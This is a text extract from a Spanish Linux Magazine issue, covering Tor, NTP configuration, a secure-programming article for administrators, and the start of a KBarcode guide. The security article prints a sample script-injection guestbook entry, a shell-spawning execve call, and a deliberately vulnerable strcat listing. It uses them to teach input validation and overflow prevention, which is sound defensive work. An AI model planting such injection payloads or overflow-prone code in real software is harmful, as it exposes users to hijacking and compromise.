usa el servidor Socks. Esta característica

previene a los spammers del mal

empleo de su servidor Tor. Diviértase

jugando al escondite con él. ¡Y que no

le pille escribiendo mensajes anónimos

sobre mi peso en mi blog! �

65

La Columna de Charly • ADMINISTRACIÓN

Número 13W W W . L I N U X - M A G A Z I N E . E S

[1] Tor: http://tor.eff.org

[2] Descarga: http://tor.eff.org/download.

html

[3] Combinando Tor y Privoxy: http://tor.

eff.org/cvs/tor/doc/tor-doc.

html#client-or-server

RECURSOSEl Taller del Administrador: NTP.......66

El Network Time Protocol (NTP) pro-

porciona la hora exacta a través de la

red.

Programación Segura………..…..... 69

Asegure su servidor aprendiendo a

pensar como un atacante.

SYSADMIN

A algunas personas no les importa dejar el rastro de sus direcciones IP en

cualquier parte adonde van, sin embargo otros prefieren usar una herramienta

como The Onion Router. POR CHARLY KÜHNAST

El Día a Día del Administrador de Sistemas: TOR

NAVEGACIÓN OCULTA

Page 66: Linux Magazine - Edición en Castellano, Nº 13

Trucos: Network Time ProtocolTrucos: Network Time Protocol

EN PUNTOEN PUNTO

Las redes requieren a menudo de un control de la hora muy preciso. Network Time Protocol proporciona este

tiempo con precisión. POR MARC ANDRÉ SELIG

Network Time Protocol (NTP), que

puede usar para comunicarse tanto TCP

como UDP (Puerto 123). El ntpd en

Linux implementa el protocolo NTP.

Este protocolo se basa en una serie de

trucos para conseguir una sincronización

precisa en un período de tiempo específi-

co. El tiempo de referencia se conoce

como UTC (Universal Time

Coordinated). NTP no sincroniza el tiem-

po en múltiples equipos, pero sincroniza

el tiempo en una sola máquina con UTP

como su mejor opción.

Para hacerlo emplea una estructura

jerárquica (Figura 2). La idea es que

algunos equipos tengan fuentes de tiem-

po exactas, tal como el reloj atómico en

PTB. Los ordenadores que utilizan un

reloj de este tipo como referencia directa

ocupan el nivel más alto en la jerarquía:

estrato 1. Existen más niveles conocidos,

como 2, 3, 4, 5, etc. Encontrará una lista

de servidores de los estratos 1 y 2 en [1].

Cada equipo en este sistema puede

conectarse a varios equipos de un estrato

con un número más bajo (mejor).

Modos NTPNTP soporta tres modos distintos para

pasar una señal de tiempo desde un

ordenador a otro. En las operaciones tra-

dicionales de cliente/servidor, un orde-

nador se apoyará en otro para obtener el

tiempo. El cliente puede aceptar una

señal de tiempo desde el servidor, pero

no al contrario.

El modo simétrico es parecido a las

operaciones cliente/servidor, sin embar-

go, en él, la dirección de transmisión

puede ser cambiada. Si el servidor de

tiempo cae, el cliente original pasa a ser

servidor y actúa como una fuente para

Cualquier reloj baratucho dará la

hora mejor que los chips de los

equipos actuales. Hay trucos para

mejorar la precisión, como por ejemplo,

averiguar la desviación y calcular un

vector de corrección, pero nunca encon-

trará una alternativa real a la utilización

de las herramientas apropiadas.

Los ordenadores, con frecuencia,

toman el tiempo de relojes de referencia

sumamente exactos. Hay muchas opcio-

nes. Un receptor DCF77 unido al puerto

serie o al puerto USB permite a un orde-

nador recibir el tiempo de un reloj de

referencia (Figura 1).

Si necesita exactitud en su control de

entrada y salida del trabajo, pero no

quiere invertir dinero en hardware adi-

cional, simplemente puede consultar

una fuente de tiempo en Internet. El pro-

tocolo que necesita para hacer esto es

ADMINISTRACIÓN • NTP

66 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Page 67: Linux Magazine - Edición en Castellano, Nº 13

otros equipos. En otras palabras, las

máquinas son pares.

La Figura 3 muestra un grupo de tres

pares que sirven el tiempo de forma

redundante. Este grupo se emplea como

interfaz final para la recepción de clien-

tes. Pero normalmente, sólo grandes

redes harán bien utilizando el modo asi-

métrico y consultando a múltiples servi-

dores de tiempo en Internet.

Todos los servidores retransmiten en el

tercer modo NTP. Cada servidor retrans-

mite un paquete vivo y le dice a los

clientes la IP para enviar su petición

NTP; esto guarda la configuración

manual.

El ServicioMuchos sistemas Linux y Unix incluyen

ntpd, el cual utiliza el fichero de configu-

ración /etc/ntp.conf. En el caso más sim-

ple, que es lo típico en la mayoría de los

sistemas Linux, este fichero tiene el

nombre o la dirección IP del servidor de

referencia.

Para eliminar la necesidad de actuali-

zar los servidores NTP continuamente

que sus clientes utilizan como fuente

de tiempo, el proyecto NTP en [2] eje-

cuta un alias DNS denominado

pool.ntp.org. Resuelve un grupo de ser-

vidores públicos. El Listado 1 muestra

cómo puede ser de simple la configura-

ción. El servicio sólo escoge una de las

tres direcciones IP que el ntpd extrae

del fichero.

Los ordenadores deberían poner el

tiempo lo antes posible en el proceso de

arranque, incluso si no tienen un demo-

nio local NTP. El comando ntpd-q se

encarga temporalmente de esto lanzando

al servidor NTP para conseguir el tiempo

correcto. Luego el programa sale auto-

máticamente. Muchas distribuciones

usan este método en sus procesos de

arranque. La llamada ntpdate proporcio-

na resultados similares, pero esta herra-

mienta no posee toda la delicadeza de

que dispone su hermano mayor. El

comando generalmente se considera

anticuado, aunque aún se utiliza con

relativa frecuencia.

Tiempo de ProblemasEn la sincronización del tiempo pueden

ocurrir varios problemas. Para evitarlos

ntpd tiene diversos trucos. Si el ordena-

dor tiene el tiempo equivocado, el pro-

grama necesita impedir la sincronización

rápidamente. Por ejemplo, si una tarea

programada se estuviera ejecutando y

ntpd decide retrasar el reloj, esta tarea

programada se ejecutará de nuevo.

El servicio necesita asegurar la conti-

nuidad, proporcionando incrementos

lineales de tiempo sin saltos hacia ade-

lante o hacia atrás. Para conseguirlo,

establece el reloj en pasos pequeños,

para ser más preciso, incrementa o

decrementa el tiempo del sistema un

segundo por medio millón de segundos

por segundo, o un 0,05 por ciento. Y

continúa haciéndolo hasta que el orde-

nador se encuentre sincronizado.

Utilizando esta aproximación, corre-

gir el tiempo para un solo segundo

cuesta 2000 segundos (esto es, más de

media hora). Para establecer el tiempo

correcto tan pronto como sea posible,

ntpd recurre a unos acuerdos. Si nota

una desviación de más de 128 milise-

gundos, da saltos para configurar el

tiempo de una vez. Luego utiliza la

solución de rotación normal para poner

a punto el tiempo por ajustes de milise-

gundos.

Fuentes de TiempoIncorrectasSi tiene varios servidores en Internet

como fuentes de tiempo, necesita algún

tipo de protección contra los tiempos

erróneos. Un cliente NTP resuelve este

problema comparando múltiples servi-

dores de tiempo, y averigua cual de estos

servidores es el más cercano al UTC.

Además, sincroniza con uno de estos ser-

vidores.

Es decir, el mejor algoritmo para esta

tarea puede devolver resultados erróneos

alguna vez, como ocurre, por ejemplo, si

varios servidores están negociando. Hay

un plan de contingencia para dominar

esta situación: si el servicio NTP nota un

cierto grado de inexactitud (más de 1000

segundos por ausencia), no corregirá el

tiempo.

NTP puede manejar situaciones donde

la conexión de red o el servidor de tiem-

po configurado están caídos. En este

caso, el demonio mide la precisión del

sistema, cronometra y corrige el tiempo

basado en sus conclusiones, incluso si

un tiempo de referencia no está tempo-

ralmente disponible.

NTP • ADMINISTRACIÓN

67Número 13W W W . L I N U X - M A G A Z I N E . E S

Figura 1: El Physikalisch-Technische Bundesanstalt en Brunswick, Alemania, tiene unos cuan-

tos relojes atómicos. Los relojes son exactos aproximadamente de uno a tres billones de

segundos por día, es decir, sobre un millón de segundos por año. Los ordenadores en Internet

pueden usar estos relojes como fuentes de tiempo.

01 server pool.ntp.org

02 server pool.ntp.org

03 server pool.ntp.org

04 restrict default kod notrap

nomodify nopeer noquery

Listado 1: Un típico /etc/ntp.conf

Page 68: Linux Magazine - Edición en Castellano, Nº 13

necesita una solu-

ción para este pro-

blema, puede habi-

litar el filtro aña-

diendo el siguiente

comando tinker

huffpuff 7200 a

/etc/ntp.conf.

Los clientes que

se conectan a una

red esperan traba-

jar sin mucho

esfuerzo de confi-

guración, sería pre-

ferible utilizar la

configuración auto-

mática de NTP.

Existen varias solu-

ciones para esta

configuración auto-

mática. La alterna-

tiva menos flexible

es la adoptada por

Apple en sus ordenadores Mac. Si la

administración permite el servicio NTP,

éste usa un servidor fijo por defecto.

La colección de servidores de tiempo

del proyecto NTP es una alternativa

mucho más sensible y más simple. La

versión 4 además apoya la configura-

ción autónoma con el demonio utilizan-

do muchas identidades para preguntar a

los ordenadores de la red y encontrar

automáticamente el servidor NTP apro-

piado.

SeguridadLos administradores siempre andan pre-

ocupados por la seguridad de la red y

más aún en el caso de NTP. Básicamente

hay dos tipos distintos de ataques: den-

tro o fuera del protocolo.

Trabajando con

el protocolo, un

atacante puede

suplantar una

señal de tiempo

incorrecta para

cubrir las entra-

das de los regis-

tros o incluso lan-

zar un ataque de

denegación de

servicio. Los

administradores

añadirán entradas

restrict al fichero

de configuración

simplemente para

proteger al host (ver Listado 1). La única

protección contra señales de tiempo

incorrectas es la criptografía. ntpd pro-

porciona varias opciones [3].

Como ntpd normalmente se ejecuta

como el usuario con ID 0 (root), puede

ser un destino potencial. Un buffer over-

flow sería todo lo necesario para obtener

el control del sistema. La única solución

es utilizar la opción ntpd -q, esto es, utili-

zar una tarea programada para estar

seguros de que el programa no está per-

manentemente ejecutándose.

Alternativas para NTPNTP puede proporcionarle el tiempo de

manera precisa, y el servicio es fácil de

manejar. Sin embargo, hay un número

de herramientas alternativas con funcio-

nalidades similares. Una herramienta

denominada RDate, por ejemplo, utiliza

el protocolo de tiempo que se estandari-

zó en el RFC 868 [4]. RDate utiliza TCP o

UDP en el puerto 37.

RDate siempre emplea un valor bina-

rio para el tiempo del sistema en vez de

un formato legible. Junto al formato

RDate legible por el ordenador, se

encuentra también el protocolo Daytime

(RFC 867 [5]), que utiliza TCP o UDP en

el puerto 13 para transferir una cadena

de tiempo. Este formato es muy útil para

los errores y las depuraciones.

Tanto con Rdate como con Daytime debe

dejar abiertos los puertos en el cortafuegos.

Si abrir los puertos no es una de sus opcio-

nes, su única alternativa es utilizar un

puerto no bloqueado. El programa

HTPDate [6] se conecta a un servidor

HTTP o HTTPS y coge el tiempo enviado

por el servidor en su respuesta HTTP como

referencia de tiempo. Pero si planea utilizar

HTPDate, necesitará asegurarse de que está

utilizando un servidor de confianza. �

Conexiones LentasOtro problema potencial es la variación

de la latencia de las conexiones en la

conexión del servidor NTP. Una cone-

xión ISDN o DSL sin una carga pesada

tiene una latencia de unos cuantos miles

de milisegundos, pero si una subida alta

o una descarga están en progreso sobre

esta conexión, dicha latencia puede

aumentar rápidamente a múltiples

segundos en una u otra dirección. Como

el servidor NTP no tiene ningún modo

de averiguar variaciones de latencia,

puede poner el reloj del sistema en la

sucesión rápida.

ntpd tiene un filtro especial para

manejar esta clase de situación, aunque

habitualmente no esté habilitado. Si

ADMINISTRACIÓN • NTP

68 Número 13 W W W . L I N U X - M A G A Z I N E . E S

[1] Página web de los Servidores NTP:

http:// ntp.isc.org/ bin/ view/ Servers/

WebHome

[2] Proyecto NTP: http://www.ntp.org

[3] Soporte de Autenticación de NTP:

http://www.eecis.udel.edu/~mills/ntp/

html/authopt.html

[4] RFC 868 – Protocolo de tiempo: http://

www.faqs.org/rfcs/rfc868.html

[5] RFC 867 – Daytime: http://www.faqs.

org/rfcs/rfc867.html

[6] HTPDate: http://www.clevervest.com/

htp/

RECURSOS

Figura 3: Los tres servidores NTP (a la izquierda) están ejecutando en

modo simétrico y actúan de forma redundante. El cliente (a la dere-

cha) simplemente busca uno de los servidores para obtener el tiempo

correcto.

Figura 2: Una red NTP se organiza de forma jerárquica en varios

niveles. Las fuentes de tiempo como los relojes atómicos se encuen-

tran en el nivel 0; los equipos que hacen referencia a este tipo de

relojes directamente residen en el nivel 1. Por turnos, los ordenado-

res con una señal horaria exacta se encuentran en el nivel 2.

Page 69: Linux Magazine - Edición en Castellano, Nº 13

Este artículo describe algunas clases

de entradas de datos de programas

que los administradores encarga-

dos de mantener un sitio Web deben tener

en cuenta. Presentaré algunos casos de

estudio que mostrará los problemas y las

posibles soluciones a los scripts, a las

direcciones de email mali-

ciosas y los des-

bordamiento

de buf-

fers.

Como punto de partida, los desarrollado-

res deben validar cuidadosamente todas las

entradas y sus relaciones entre varios tipos

de entradas. Supongamos que todas las

entradas son culpables hasta que se

demuestre lo contrario. Y que cuanto más

compleja sea ésta, más importante será la

codificación de la misma

para anticiparse a

los posibles

ataques.

En

el caso de problemas complejos, se corre

la tentación de pasar de ellos, dejando de

lado la validación de la entrada de los pro-

gramas (“¡Los chicos de desarrollo habrán

hecho sus deberes!”).

Desafortunadamente, a menudo se da el

caso de que todos los que están involucra-

dos en el proceso piensan de igual forma y

el agujero de seguridad permanece abier-

to. Cada administrador y cada programa-

dor debería escuchar su conciencia de vez

en cuando y recordar que su salida puede

ser la entrada de un programa en algún

punto de la cadena.

Caso 1: Los ScriptsMultiplataformasEl desarrollo de sitios web probable-

mente no sea una de las tareas clási-

cas de los administradores. Pero en

las pequeñas y medianas empresas,

es habitual encontrarse al adminis-

trador enfrascdo en el desarrollo

de un sitio web público. Los admi-

nistradores de sistemas que no

han sido formados como progra-

madores puede que subestimen los

peligros que entrañan estos temas.

Uno de los mayores peligros es una

clase especial de entrada: Texto for-

mateado en HTML (o texto formateado

en cualquier otro lenguaje Web). Una

fachada aparentemente inocente puede

contener código Javascript malévolo.

El objetivo real del atacante no es el ser-

vidor web que almacena el documento,

sino el navegador web del cliente que lo

abre. En un ataque de tipo script multipla-

taforma, el script dañino se ejecuta en la

máquina de la víctima cuando el internau-

ta se encuentra navegando por un sitio

diferente. El script se ejecuta en el contex-

to y con los privilegios del sitio donde el

Seguridad Web • ADMINISTRACIÓN

Estudio sobre Programación Segura para Administradores

ENTRADAS PELIGROSASComo una manzana envenenada, un programa Web que aparentemente tiene un aspecto sabroso puede, sin

embargo, encerrar un interior muy peligroso. Aquellos administradores que cubren ellos mismos sus necesi-

dades de programación, deben seguir las prácticas de programación segura para evitar el amargo sabor del

malware. POR DOMINIK VOGT

6969Número 13W W W . L I N U X - M A G A Z I N E . E S

Page 70: Linux Magazine - Edición en Castellano, Nº 13

algún ejemplo. El Libro de Recetas de la

Programación Segura dedica un capítulo

entero a este asunto y proporciona nume-

rosos ejemplos.

Lo que permite que los script multipla-

taformas funcionen es la falta de valida-

ción de la entrada de datos de los usua-

rios. Los desarrolladores webs a menudo

sobrestiman la importancia de este proble-

ma, porque a nadie se le ocurre atacar a su

propio servidor. El servidor web es el

intermediario que pasa el exploit al usua-

rio. Lo mismo sucede con los ataques de

autenticación multiplataforma. (Véase el

artículo de este mismo número denomina-

do “Un pez llamado Phishing”).

ContramedidasLos scripts multiplataformas podrían

extenderse, pero es bastante sencillo com-

batirlos. Una aplicación segura primero

eliminaría cualquier script de sus entradas

o simplemente la rechazaría. Si está tra-

tando con HTML, cualquier script estará

entre etiquetas de formato, es decir, entre

los símbolos <…>. Una solución brutal

pero efectiva sería convertir los meta-

caracteres en código HTML inofensivo

antes de continuar procesando (Véase la

Tabla 1).

Pero si se desea permitir a sus visitantes

introducir etiquetas simples, la cosa se

complica. El código Javascript puede

esconderse casi en cualquier parte, en las

etiquetas <img…>, <div…> o

<body…>, por ejemplo. En [1] puede

encontrar varios ejemplos.

Las listas negras no son una buena

opción, aunque las listas blancas podrían

mostrarse más efectivas. La idea que se

esconde detrás de las listas blancas es la

de dejar las etiquetas HTML que se saben

que son inofensivas y eliminar cualquier

otra cosa que sea susceptible de ser dañi-

na, incluida cualquier etiqueta con atribu-

tos. Por ejemplo, las etiquetas de la Tabla

2 son inofensivas.

Esta solución al problema de los scripts

multiplataformas no le proporciona la

suficiente libertad, probablemente desee

pasar el problema a los desarrolladores o

leer algunos libros sobre el tema [1] [2].

Filtrado de EtiquetasUna solución para C y C++: La bibliote-

ca de The Gate Guardian [3] proporciona a

los desarrolladores una forma sencilla

para eliminar estos problemas. La función

inputg_escape_html() escapa los meta-

caracteres HTML < > “ & como &lt;,

&gt;, &quote;, y &amp;, pero deja las eti-

quetas inofensivas como <h1> o <br>

tal cual. Los enlaces libres de scripts como

<a href=“http://Foo”> se dejan sin cam-

bios. La llamada sería como la siguiente:

#include <inputguardian.c>

[...]

char *escaped;

escaped= U

inputg_escape_html(input);

La función devuelve un puntero al docu-

mento HTML modificado, que apunta a

una zona de memoria reservada mediante

una llamada a malloc(), que el desarrolla-

dor tendrá que liberar con una llamada a

la función free(escaped). La función devol-

navegador está actualmente conectado

(Figura 1).

Un Libro de Visitas pocoAmistosoEn un simple libro de visitas, los usuarios

pueden escribir entradas que posterior-

mente se publican en el sitio web. Si la

gente que está encargada del sitio permite

entradas arbitrarias, un hacker podría

ocultar un script en su entrada que abra

una ventana con un anuncio en el navega-

dor de un visitante:

Nice page. Good work!

<!-- <script>

window.open U

("http://debian.org/");

</script> -->

Esto puede que parezca que no es muy

dañino, pero dependiendo del sitio web,

los atacantes podrían sacarse algo más

peligroso de la manga. Por ejemplo, po-

drían robar cookies con identificadores de

sesiones y asumir la identidad del usuario

o bien usar sitios webs falsos para robar

las contraseñas de los usuarios (phishing).

Los daños pueden ser realmente graves

en páginas que tengan algo que ver con

dinero: bancos y casinos online, por poner

ADMINISTRACIÓN • Seguridad Web

70 Número 13 W W W . L I N U X - M A G A Z I N E . E S

Carácter Codificado en HTML

< &lt;

> &gt;

& &amp;

“ &quot;

Tabla 1:MetacaracteresHTML

abbr acronym b bdo big blink

blockquote br center cite code dd

del dfn dir dl dt em

h1 h2 h3 h4 h5 h6

hr i ins kbd li menu

nobr ol p plaintext pre q

s samp small spacer strike strong

sub sup tt u ul var

Tabla 2: Script libre de Etiquetas HTML

Figura 1: El atacante inyecta un script dañino en un foro (1) y el servidor almacena la entrada

(2). Un poco más tarde, un usuario visitará el foro (3); el servidor pone el marco de trabajo

(4a) y la entrada de la base de datos juntas (4b) y sirve la página al visitante (5). Por último,

el navegador ejecuta el script.

Page 71: Linux Magazine - Edición en Castellano, Nº 13

verá un puntero nulo si se olvida de reser-

var espacio en memoria.

Baile de MáscarasLa variante input_escape_all_html() con-

vierte todos los meta-caracteres HTML a

código inofensivo sin ninguna excepción.

inputg_escape_html_with_tag_table() per-

mite a los usuarios definir la lista de eti-

quetas permitidas por ellos mismos.

Hay que tener cuidado, aunque las fun-

ciones Gate Guardian son tomadas desde

spc_escape_html() del Libro de Recetas de

la Programación Segura [4], el original

está, desafortunadamente, repleto de erro-

res. Como un remedio al código con erro-

res, puede que desee usar mi archivo que

contiene una versión corregida en [5]. Una

nueva versión libre de errores apareció

cuando se imprimió la tercera parte, así

que posiblemente desee descargarse la

última versión.

Una solución para la shell: la más senci-

lla es un pequeño envoltorio que hace uso

de las funciones de Gate Guardian. Los

administradores pueden llamar al progra-

ma escape-html del Listado 1 de la siguien-

te forma ESCAPED=‘escaped-html

“$INPUT”‘ desde sus propios scripts de la

shell.

Caso 2: Direcciones de EmailLos scripts y programas de administra-

ción a menudo esperan entradas con el

formato de una dirección de correo elec-

trónico. Los administradores suelen

especificar las direcciones ellos mismos,

por ejemplo, si necesitan un script que

les proporcione las ultimas actualizacio-

nes. En otros casos, los usuarios especifi-

can las direcciones de correo, como en

un formulario de informe de errores, por

ejemplo. A menos que esté desarrollan-

do un cliente de correo o un

servidor, puede ser que no

se moleste validando las

direcciones introducidas.

¡Hay que ser Paranoico!

RFC 2822 [6] y sus prede-

cesores definen con preci-

sión cómo deben ser las

direcciones. El nuevo están-

dar estipula que los progra-

mas de correo deben ser

capaces de procesar los for-

matos antiguos. El propósito

es soportar el uso de los pro-

gramas antiguos. Un hecho

poco conocido es el de que

las direcciones pueden incluir comenta-

rios anidados.

Una Solución RadicalEn la mayoría de los casos, los programa-

dores de la shell pueden resolver este pro-

blema con una solución radical. Todo lo

que coincida con el patrón

Nombre@Dominio se acepta, cualquier

otra cosa no. También se puede restringir

el conjunto de caracteres válidos para el

nombre y para el dominio y se puede lla-

mar a egrep para guardarnos las espaldas:

echo "$ADDR" | U

egrep '^[a-zA-Z0-9_+-.]+??

@[a-zA-Z0-9-]+ U

(\.[a-zA-Z0-9-]+)*$' || ??

exit 1

Si esta solución carece de la clase de elegan-

cia a la que está acostumbrado, puede con-

sultar el libro de expresiones regulares de

Jeffrey Regex llamado Mastering Regular

Expressions [7] para una expresión regular

elegante que cubra por completo el RFC, con

la excepción de los comentarios anidados.

Se encuentra disponible en [8] un pro-

grama Perl que use esta expresión para

validar las direcciones de correo. Es bas-

tante sencillo de usar:

perl email-opt.pl U

"$ADDR" >/dev/null || exit 1

Una buena solución para los programado-

res de C y C++ es usar la función de

Gate Guardian

inputg_is_simple_email_address() para

implementar un test egrep en C:

#include <inputguardian.c>

[...]

int rc;

rc = U

inputg_is_simple_email_address U

(addr)

if (rc == 0)

exit(1);

No es una buena idea intentar implemen-

tar el programa Perl en C o C++, porque

el análisis sintáctico complejo suele llevar

a errores o efectos colaterales no desea-

dos. La mejor idea ante esta situación

sería usar un parser ya preparado o bien

hacer una llamada externa al script Perl.

Caso 3: Desbordamiento deBuffersLos desbordamientos de buffers están

estrechamente ligados a las cadenas for-

mateadas y a su tamaño. En ambos casos,

la pila es el principal (pero no el único)

objetivo de los hackers. Un desbordamien-

to de buffer sucede cuando un programa

intenta escribir datos en una zona de

memoria (buffer) que es demasiado

pequeña para almacenar esos datos. Este

intento lleva al programa a sobrescribir

direcciones de memoria que han sido

reservadas para otras tareas.

Código ShellLas cosas empiezan a ponerse feas cuando

nuestro hacker, Fred, inyecta código ejecu-

table en el buffer. El código típicamente

ejecuta una shell: execve(“/bin/sh”,0,0);,

permitiendo a Fred hacerse con la cuenta

del usuario. Es relativamente fácil escribir

código para la shell, pero los script kids

raramente lo hacen. En vez de ello, utili-

zan bibliotecas como Libshellcode. La

biblioteca suele venir con una pequeña

interfaz de usuario Ncurses titulada

Scbuilder (Figura 2a y 2b).

Seguridad Web • ADMINISTRACIÓN

71Número 13W W W . L I N U X - M A G A Z I N E . E S

Figura 2a: El Scbuilder UI es una interfaz para

Libshellcode. Gracias al UI, cualquiera puede crear un

código para la shell rápido y elegante para cualquier tipo

de aplicación.

01 #include "inputguardian.c"

02 #include <stdio.h>

03

04 int main(int argc, char

**argv)

05 {

06 char *ret =

inputg_escape_html(argv[1]);

07 if (ret != 0)

08 printf("%s", ret);

09 return !ret;

10 }

Listado 1: escape-html.c

Page 72: Linux Magazine - Edición en Castellano, Nº 13

abs_path. Funciona porque el

buffer es lo suficientemente

grande. Pero en la línea 10,

strcat() falla al comprobar si el

buffer está lleno y podría conti-

nuar escribiendo fuera del buf-

fer. Una ruta mayor que

PATH_MAX es otra fuente de

peligro (dependiendo del siste-

ma de ficheros). El programa

debería detectar este error (valor

de retorno de ERANGE) y mane-

jar esta situación de modo satis-

factorio.

¡Dándole Forma!Los programadores de C y C++ deben

usar memoria dinámica para asegurarse

de que tienen suficiente memoria disponi-

ble o bien deben restringir la longitud de

la entrada a la cantidad de espacio dispo-

nible. Esta última solución es a menudo

preferible para programas pequeños, ya

que es más fácil de implementar. La Tabla

3 muestra las variantes seguras de algunas

funciones de la biblioteca estándar.

Los desarrolladores de C++ deberían

evitar las funciones vulnerables y usar la

clase de cadenas std::string, así como los

operadores << y >>.

Manteniéndolo Simple.La diversidad y complejidad de los proble-

mas descritos aquí deberían haberle pro-

porcionado alguna idea de la dificultad

que entraña separar el código inofensivo

de ese otro peligroso de las entradas. El

problema de la programación segura trae a

la mente un antiguo dicho que a menudo

citan los administradores y los desarrolla-

dores de software: Manténgalo simple.

Los programadores ocasionales normal-

mente no disponen del tiempo suficiente

para profundizar en los formatos y sus

complejidades. Si este es su caso, debería

permitir un subconjunto de las entradas y

descartar el resto.

Las estrategias descritas en este artículo

proporcionan un punto de inicio para

empezar a escribir código seguro y sensi-

ble. Siempre hay que proteger la entrada

del programa y asegurarse de colocar las

manzanas podridas donde deben estar: en

el cubo de la basura. �

Ataques a la lógica del programa son

más sutiles y muy difíciles de impedir;

como ejemplo, Fred podría intentar

sobrescribir otras variables locales alma-

cenadas en direcciones de memoria supe-

riores. En nuestro ejemplo, esto significa-

ría sobrescribir la variable len o las varia-

bles usadas por la función invocada. En

escenarios reales, los hackers se las arre-

glan para hacerse con sistemas remotos

simplemente sobrescribiendo variables

que contienen el UID de un programa que

pretende eliminar los privilegios cambia-

dos. Para más detalles sobre los desborda-

mientos de buffers véase [9].

RootsLos desbordamientos de memoria siempre

implican la lectura, escritura y copiado de

datos por parte del código del programa.

El código fuente de C normalmente tiene

funciones de cadena (strcat(),

strcpy(),…), una función para entrada y

salida formateada (sprintf(), scanf(),…),

una función para acceso a ficheros (fread

(), gets(),…) o aritmética de punteros.

Una llamada a gets() es casi siempre

una mala idea: el desarrollador no puede

indicarle a la función cuanta memoria

debe ser reservada. Dicho de otro

modo, gets viene con un desbordamien-

to de buffer incorporado. Pero

scanf(input,”%s”,buffer) no es mucho

mejor: scanf almacena una cadena que la

analiza en un buffer sin tener en cuenta el

tamaño. La Tabla 3 presenta una solución

mucho mejor.

El Listado 2 muestra un error común en

el manejo de los nombres de ficheros. La

llamada a getcwd() en la línea 9 almacena

el directorio de trabajo en la variable

ADMINISTRACIÓN • Seguridad Web

72 Número 13 W W W . L I N U X - M A G A Z I N E . E S

[1] David A. Wheeler, “Secure Programs

HOWTO”: http://www.dwheeler. com/

secure-programs/

[2] Sverre H. Huseby, Código Inocente:

Wiley, ISBN 0-470-85744-7

[3] Dominik Vogt, Gate Guardian: http://

sourceforge. net/projects/

gateguardian/

[4] Viega y Messier, Secure Programming

Cookbook, O’Reilly, ISBN 0-596-

00394-3: http://www.

secureprogramming.com

[5] Libro de Recetas de la Programación

Segura: http://www.dominikvogt.de/

de/index.html#Links (en Alemán)

[6] RFC 2822, “Internet Message

Format”: http://www.ietf.org/rfc/

rfc2822.txt

[7] Jeffrey E. F. Friedl, Mastering Regular

Expressions, O’Reilly, ISBN 0-596-

00289-0: http://www.oreilly.com/

catalog/regex2/

[8] Sample scripts from the regex book:

http://examples.oreilly.com/regex/

[9] Aleph One, “Smashing The Stack For

Fun And Profit”, Phrack Vol. 7, Issue

49, File 14: http://www.phrack.org/

show.php?p=49&a=14

RECURSOS

Incorrecto Correcto

sprintf(buf, “%s”, str) sprintf(buf,

“%99s”, str) or

snprintf(buf, 100,

“%s”, str)

scanf(“%s”, str) scanf(“%99s”,

str)está disponi-

ble en [8]

gets(buf) fgets(buf, 100,

stdin)

strcat(buf, str) strncat(buf, str,

99)

strcpy(buf, str) strncpy(buf, str,

99); buf[99] = 0;

Tabla 3: EvitarDesbordamientos de

Memoria 01 #include <limits.h>

02 #include <string.h>

03 #include <unistd.h>

04

05 int main(void)

06 {

07 char abs_path[PATH_MAX];

08

09 getcwd(abs_path, PATH_MAX);

10 strcat(abs_path, "/filename");

11 /* ... */

12

13 return 0;

14 }

Listado 2: path_max.c

Figura 2b: Si es necesario, Scbuilder puede almacenar

el código shell resultante como el código de un progra-

ma C. El administrador no podrá aceptar excusas del

tipo “la vulnerabilidad es difícil de explotar” por los

overflows.

Page 73: Linux Magazine - Edición en Castellano, Nº 13

7373ISSUE 52 MARCH 2005W W W . L I N U X - M A G A Z I N E . C O M

Bienvenidos a Linux UserÉsta es la sección dedicada a la presentación de software interesante y útil que nos ayuda en nuestro quehacer diario con

el escritorio Linux. Aquí aprenderemos a utilizar software estándar de una manera más eficiente, adquiriremos valiosos

conocimientos y descubriremos nuevas y apasionantes aplicaciones.

KBarcode 74

¿Tienes problemas con la creación de las etiquetas de

los precios de tu papelería, con la de las tarjetas pos-

tales o con los códigos de identificación? Deja que

KBarcode te eche una mano.

Desktopia 76

Si estás buscando escritorio rápido y funcional, prue-

ba con WindowLab. Este administrador de ventanas

minimalista se concentra en lo que es importante y

funciona sin pitos ni flautas superfluos.

F-Spot 78

El programa de administración de imagen F-Spot te

ayuda a administrar tu archivo de fotos eficazmente y

sin ningún tipo de pérdida de tiempo.

ZShell 81

La moderna Z-Shell con sus inumerables y útiles

características ofrece a los fans de la línea de coman-

dos una atractiva alternativa a Bash.

Educación 85

E-learning, teleformación, plataformas educativas…

son palabras y conceptos de moda, que parece que

van a acabar con las formas tradicionales de enseñan-

za y aprendizaje.

Línea de Comandos 89

El comando ls lista ficheros en la línea de comandos

además de ofrecer una lista detallada de las propieda-

des del fichero de gran utilidad.

Page 74: Linux Magazine - Edición en Castellano, Nº 13

grama correrá bastante bien sin una basede datos de fondo.

InstalaciónPara instalar la versión actual de KBarcodenecesitas tanto el código fuente de la apli-cación como el programa que genera elcódigo de barras. Barcode GNU, que seencuentra disponible en [2], es un progra-ma libre que generará la mayoría de losprincipales tipos de códigos de barras. Loprimero que tienes que hacer es instalareste programa, en nuestro ejemplo seráBarcode GNU.

El paso siguiente consisteen la instalación del progra-ma en sí: los usuarios conSuse Linux 9.1 y KDE 3.2descubrirán paquetes RPMlistos para correr en la pági-na de inicio. Como root,introduce el comando rmp

-Uvh kbarcode-1.8.0-

1SuSE91. Para instalar elpaquete será i586.rpm. Siusas cualquier otra distribución necesita-rás preparar el programa desde el códigofuente. La instalación sigue los mismospasos que la de Barcode GNU, pero elarchivo de código fuente, en este caso, sellama 1.8.1.tar.gz.

Tras completar la instalación, simple-mente escribe en una ventana del terminalkbarcode, de este modo arrancará el pro-grama. La primera vez que lo arranques,te presentará una vista de programas decódigo de barras que ha descubierto yofrece establecer la conexión a una basede datos (Figura 1).

Introduce las credenciales para un usua-rio de la base de datos con privilegios decreación de tablas en los camposUsername y Password. Si el usuario notiene los privilegios requeridos, KBarcodese detendrá y mostrará un mensaje deerror cuando chequee la conexión a labase de datos. El programa automática-mente introducirá kbarcode en Database.Esta es la base de datos que usa KBarcode.

Selecciona el driver de la base de datosMySQL de la lista Driver. La opcióncorrecta es QMYSQL3. También convienemarcar la caja Autoconnect on program

start para decirle a KBarcodeque conecte automáticamen-te a la base de datos cuandoarranque. La otra alternativaes seleccionar la entradaSettings | Database connec-

tion.Para conectarte a la base de

datos y correr unas cuantaspruebas, haz click en Test set-

